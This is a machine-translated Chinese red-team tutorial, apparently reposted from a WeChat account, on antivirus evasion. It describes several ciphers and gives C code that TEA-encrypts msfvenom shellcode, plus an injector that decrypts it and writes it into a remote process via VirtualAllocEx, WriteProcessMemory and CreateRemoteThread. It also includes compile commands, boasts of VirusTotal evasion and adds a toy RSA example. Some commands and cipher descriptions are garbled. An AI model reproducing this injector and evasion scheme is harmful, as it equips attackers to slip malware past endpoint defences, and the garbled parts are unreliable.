机翻+整理,可能看起来有点生硬,大家见谅
我们将使用 Kali Linux ( https://www.kali.org/ ) 和 Parrot Security OS ( https://www.parrotsec.org/ ) 虚拟机进行开发和演示,并使用 Windows 10 (https://www.microsoft.com/en-us/software-download/windows10ISO) 作为受害者的机器。
在编译我们的示例方面,我将使用适用于 Linux 的 MinGW (https://www.mingw-w64.org/),可以通过运行以下命令进行安装:
mingw-* sudo apt install
高级数学算法
微型加密算法(TEA)
微型加密算法(TEA)是一种对称密钥分组密码算法它对 64 位块进行操作,并使用 128 位密钥。TEA 加密算法的基本流程如下:
- 密钥扩展:128 位密钥被拆分分成两个64 位子密钥。
- 初始化:将64位明文块分成两个32位块。
- 轮函数:明文区块经过多轮运算,每轮运算包括以下步骤:
- 加法:将两个 32 位块通过模 2^32 的按位加法进行组合。
- XOR:将其中一个子密钥与其中一个32 位块进行异或运算。
- 移位:将上一步的结果循环左移一定位数。
- XOR:移位运算的结果与另一个32 位块进行异或运算。
- 最终确定:两个 32 位块合并并形成64位密文堵塞。
A5/1
A5/1是一种流密码,用于通过 GSM 蜂窝电话标准,以确保无线通讯的机密性。它是众多 A5 安全协议实现之一。它最初是机密的,最终通过披露和逆向工程为公众所知。密码中已检测到几个重大漏洞。
Madryga算法
1984 年,WE Madryga 提出了Madryga 算法作为分组密码。创造简单并且软件实现起来非常高效。其显著特点之一是使用数据相关旋转,这意味着在加密过程中执行的旋转量取决于被加密的数据。后续密码都沿用了这种方法,包括 RC5和 RC6。
Skipjack
Skipjack是一种对称密钥分组密码加密设计的算法主要用于政府,注重强大的安全性同时具有计算效率。它是由美国国家安全局( NSA ) 于 20 世纪 90 年代初开发的,最初旨在用于各种安全通信应用。
实例
让我们考虑一个实际的例子这样你就会明白这并不难实现。加密和解密的逻辑相当简单。
我决定通过TEA 实现加密和解密有效负载:
void encryptUsingTEA(unsigned char *data, unsigned char *key) {
unsigned int i;
unsigned char x = 0;
unsigned int delta = 0x9e3779b9;
unsigned int sum = 0;
unsigned int v0 = *(unsigned int *)data;
unsigned int v1 = *(unsigned int *)(data + 4);
for (i = 0; i < ROUNDS; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
}
*(unsigned int *)data = v0;
*(unsigned int *)(data + 4) = v1;
}
void decryptUsingTEA(unsigned char *data, unsigned char *key) {
unsigned int i;
unsigned char x = 0;
unsigned int delta = 0x9e3779b9;
unsigned int sum = delta * ROUNDS;
unsigned int v0 = *(unsigned int *)data;
unsigned int v1 = *(unsigned int *)(data + 4);
for (i = 0; i < ROUNDS; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
}
*(unsigned int *)data = v0;
*(unsigned int *)(data + 4) = v1;
}
int main() {
unsigned char key[] = "x6dx65x6fx77x6dx65x6fx77x6dx65x6fx77x6dx65x6fx77";
unsigned char maliciousPayload[] =
// 64-bit meow-meow messagebox
"xfcx48x81xe4xf0xffxffxffxe8xd0x00x00x00x41"
"x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60"
"x3ex48x8bx52x18x3ex48x8bx52x20x3ex48x8bx72"
"x50x3ex48x0fxb7x4ax4ax4dx31xc9x48x31xc0xac"
"x3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2"
"xedx52x41x51x3ex48x8bx52x20x3ex8bx42x3cx48"
"x01xd0x3ex8bx80x88x00x00x00x48x85xc0x74x6f"
"x48x01xd0x50x3ex8bx48x18x3ex44x8bx40x20x49"
"x01xd0xe3x5cx48xffxc9x3ex41x8bx34x88x48x01"
"xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01"
"xc1x38xe0x75xf1x3ex4cx03x4cx24x08x45x39xd1"
"x75xd6x58x3ex44x8bx40x24x49x01xd0x66x3ex41"
"x8bx0cx48x3ex44x8bx40x1cx49x01xd0x3ex41x8b"
"x04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58"
"x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41"
"x59x5ax3ex48x8bx12xe9x49xffxffxffx5dx49xc7"
"xc1x00x00x00x00x3ex48x8dx95x1ax01x00x00x3e"
"x4cx8dx85x25x01x00x00x48x31xc9x41xbax45x83"
"x56x07xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x4dx65x6fx77x2dx6dx65x6fx77x21x00x3dx5e"
"x2ex2ex5ex3dx00";
int len = sizeof(maliciousPayload);
int pad_len = (len + 8 - (len % 8)) & 0xFFF8;
unsigned char paddedPayload[pad_len];
memset(paddedPayload, 0x90, pad_len); // pad the shellcode with 0x90
memcpy(paddedPayload, maliciousPayload, len); // copy the shellcode to the padded buffer
// encrypt the padded shellcode
for (int i = 0; i < pad_len; i += 8) {
tea_encrypt(&paddedPayload[i], key);
}
printf("encrypted:n");
for (int i = 0; i < sizeof(paddedPayload); i++) {
printf("\x%02x", paddedPayload[i]);
}
printf("nn");
// tea_decrypt(maliciousPayload, key);
for (int i = 0; i < pad_len; i += 8) {
tea_decrypt(&paddedPayload[i], key);
}
printf("decrypted:n");
for (int i = 0; i < sizeof(paddedPayload); i++) {
printf("\x%02x", paddedPayload[i]);
}
printf("nn");
return 0;
}
如你所见,为了简单起见,我使用了“Meow-meow! ”消息框有效负载:
"Meow-meow!" TITLE="=^..^=" -f c msfvenom -p windows/x64/messagebox TEXT=
在 Kali Linux 上,它看起来像这样:
现在我们必须更新我们的逻辑是使用 TEA 算法和经典的代码注入。
因此,让我们修改一下经典的注入:
- 使用TEA 加密的有效载荷替换我们的meow-meow有效载荷。
- 添加decryptUsingTEA函数。
- 解密有效载荷并注入
void decryptUsingTEA(unsigned char *data, unsigned char *key) {
unsigned int i;
unsigned char x = 0;
unsigned int delta = 0x9e3779b9;
unsigned int sum = delta * ROUNDS;
unsigned int v0 = *(unsigned int *)data;
unsigned int v1 = *(unsigned int *)(data + 4);
for (i = 0; i < ROUNDS; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + ((unsigned int *)key)[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + ((unsigned int *)key)[sum & 3]);
}
*(unsigned int *)data = v0;
*(unsigned int *)(data + 4) = v1;
}
int main(int argc, char* argv[]) {
unsigned char decryptionKey[] = "x6dx65x6fx77x6dx65x6fx77x6dx65x6fx77x6dx65x6fx77";
unsigned char encryptedPayload[] =
// 64-bit meow-meow messagebox
"x6axf5x79xa8x12xcax83xcexdcx69xa4x59x68x54xb8xc7"
"xd2x63x35xc2xcbxe1x24xbbxd5x43x36x98x37x13x91xe0"
"xc6xe1x01x7ax2axe1xd8x51xfcx73x4fx74x1dx33x84x5d"
"xddx30x13xdaxd9x86xf4x44x84x40x40xeaxc9x10x79xb2"
"xc1x4bx4bx3fxf3x34x20x25x75x09x64x46x91xffxa3xea"
"x49x53xafx87x7bx9bxaax20xfdx42x5exf7xf4xc8x3dx52"
"xdex19x90x67x71xb7xa1xbfx17xb1xa8xd0x00x31x8dx57"
"x74xcbxf9x8fx02xe8x6dx1bx4dxafx60x3dx3ax01x33x87"
"xf9xc2xf4x93xecxddx89x89x80x36xc1x2ax73xc7x67x04"
"x7ax82x25x62xf1xe1x98x01x8ax56x4bx87x85x89xd0xf4"
"x00x2axcdxf6xbfx59xebx0ax7bx86xe6xc8x81xfax2cx5f"
"x91x2ax13x11x31xc4xe0x34x6fx20xa0x07x65x01x82x5b"
"x88x05x2dx19x16x48x64xc9x21x26xdaxf0xc1xffx10x13"
"x6dx70x66xa4x42x1ex4cx4cxd1xc3xe1x2exd2xc7xacx85"
"xc8xfcx75xaaxffx9fxcbx1cx79x8dx8fxd3x2dx8bx4dx9d"
"x59x60xf2xf9x0bx32xa8x94xb4x1ex2bx9cxcdx31x97x94"
"x67x17xfdxd9xcfx38xb0x82x27x34x72x4fxa6x4bx6bx96"
"x54x66x00xcfx1ex49x1cx5ex60xeaxfax26x60x97xe7xf9"
"x8bx5dx1ax60x11x12xf7xdexeax9ax15xc1x25x90x66xe6"
"xc3x6exbcxd7x30x85x28xe1xa6x08xacx1dx3dx13x3fx7a";
HANDLE processHandle; // process handle
HANDLE remoteThread; // remote thread
PVOID remoteBuffer; // remote buffer
// tea_decrypt(encryptedPayload, decryptionKey);
for (int i = 0; i < sizeof(encryptedPayload); i += 8) {
decryptUsingTEA(&encryptedPayload[i], decryptionKey);
}
printf("decrypted:n");
for (int i = 0; i < sizeof(encryptedPayload); i++) {
printf("\x%02x", encryptedPayload[i]);
}
printf("nn");
// parse process ID
printf("PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)atoi(argv[1]));
// allocate memory buffer for remote process
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(encryptedPayload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" data between processes
WriteProcessMemory(processHandle, remoteBuffer, encryptedPayload, sizeof(encryptedPayload), NULL);
// our process starts a new thread
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
编译我们的 PoC 源代码用 C 语言编写代码,运行以下命令:
$ x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
然后,在任何Windows 机器上执行它:
.hack2.exe
我们可以看到,示例按预期工作:有效载荷被解密并注入到notepad.exe中。
当我进行类似尝试使用不常见和不流行的加密算法,并将它们与其他绕过防病毒软件的方法相结合,我在 VirusTotal 上取得了不错的效果。通过反复试验,您也可以进行类似的实际实验和研究。我将把这留作练习。
恶意软件中素数和模运算的使用
让我们深入研究一个例子实现素数和模运算在密码算法中的实际应用。这通常用于生成RSA 加密的密钥。
实例
在密钥生成方面,您必须选择两个素数,分别表示为p和q,并计算它们的乘积n = p*q。RSA 的安全性取决于从n推导出p和q 的难度。 p和q的大小越大,给定n找到它们的难度就越大。
// Function to check if a number is prime
int is_prime(int n) {
if (n <= 1) {
return 0;
}
for (int i = 2; i <= sqrt(n); i++) {
if (n % i == 0) {
return 0;
}
}
return 1;
}
// Function to find the greatest common divisor (GCD) of two numbers
int gcd(int a, int b) {
while (b != 0) {
int temp = b;
b = a % b;
a = temp;
}
return a;
}
// Function to find a number e such that 1 < e < phi and gcd(e, phi) = 1
int find_public_exponent(int phi) {
int e = 2;
while (e < phi) {
if (gcd(e, phi) == 1) {
return e;
}
e++;
}
return -1; // Error: Unable to find public exponent
}
// Function to find the modular multiplicative inverse of a number
int mod_inverse(int a, int m) {
for (int x = 1; x < m; x++) {
if ((a * x) % m == 1) {
return x;
}
}
return -1; // Error: Modular inverse does not exist
}
// Function to perform modular exponentiation
int mod_pow(int base, int exp, int mod) {
int result = 1;
while (exp > 0) {
if (exp % 2 == 1) {
result = (result * base) % mod;
}
base = (base * base) % mod;
exp /= 2;
}
return result;
}
int main() {
// Step 1: Choose two large prime numbers
int p = 61;
int q = 53;
// Step 2: Compute n (modulus) and phi (Euler's totient function)
int n = p * q;
int phi = (p - 1) * (q - 1);
// Step 3: Choose a public exponent e
int e = find_public_exponent(phi);
if (e == -1) {
printf("Error: Unable to find public exponent.n");
return 1;
}
// Step 4: Compute the private exponent d
int d = mod_inverse(e, phi);
if (d == -1) {
printf("Error: Unable to compute private exponent.n");
return 1;
}
// Display public and private keys
printf("Public Key (n, e): (%d, %d)n", n, e);
printf("Private Key (n, d): (%d, %d)n", n, d);
// Step 5: Encrypt a message using the public key
int plaintext = 42;
int ciphertext = mod_pow(plaintext, e, n);
printf("Encrypted Message: %dn", ciphertext);
// Step 6: Decrypt the message using the private key
int decrypted_message = mod_pow(ciphertext, d, n);
printf("Decrypted Message: %dn", decrypted_message);
return 0;
}
主要逻辑非常简单:
- 选择两个大的素数。
- 计算n(模数)和phi(欧拉函数)。
- 选择一个公共指数,e。
- 计算私有指数d。
- 使用公钥加密消息。
- 使用私钥解密消息。
我们的程序中的大多数函数都是专用于数学计算的。
首先,我们有一个检查数字是否为质数的函数:
int is_prime(int n) {
if (n <= 1) {
return 0;
}
for (int i = 2; i <= sqrt(n); i++) {
if (n % i == 0) {
return 0;
}
}
return 1;
}
然后,我们有查找两个数字的最大公约数(GCD)的函数:
int gcd(int a, int b) {
while (b != 0) {
int temp = b;
b = a % b;
a = temp;
}
return a;
}
接下来有一个函数查找数字e,使得1 < e < phi且gcd(e, phi) = 1:
int find_public_exponent(int phi) {
int e = 2;
while (e < phi) {
if (gcd(e, phi) == 1) {
return e;
}
e++;
}
return -1; // Error: Unable to find public exponent
}
以下函数查找数字的模乘逆元:
int mod_inverse(int a, int m) {
for (int x = 1; x < m; x++) {
if ((a * x) % m == 1) {
return x;
}
}
return -1; // Error: Modular inverse does not exist
}
最后,以下函数执行模幂运算:
int mod_pow(int base, int exp, int mod) {
int result = 1;
while (exp > 0) {
if (exp % 2 == 1) {
result = (result * base) % mod;
}
base = (base * base) % mod;
exp /= 2;
}
return result;
}
编译它:
$ x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
原文始发于微信公众号(教父爱分享):【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论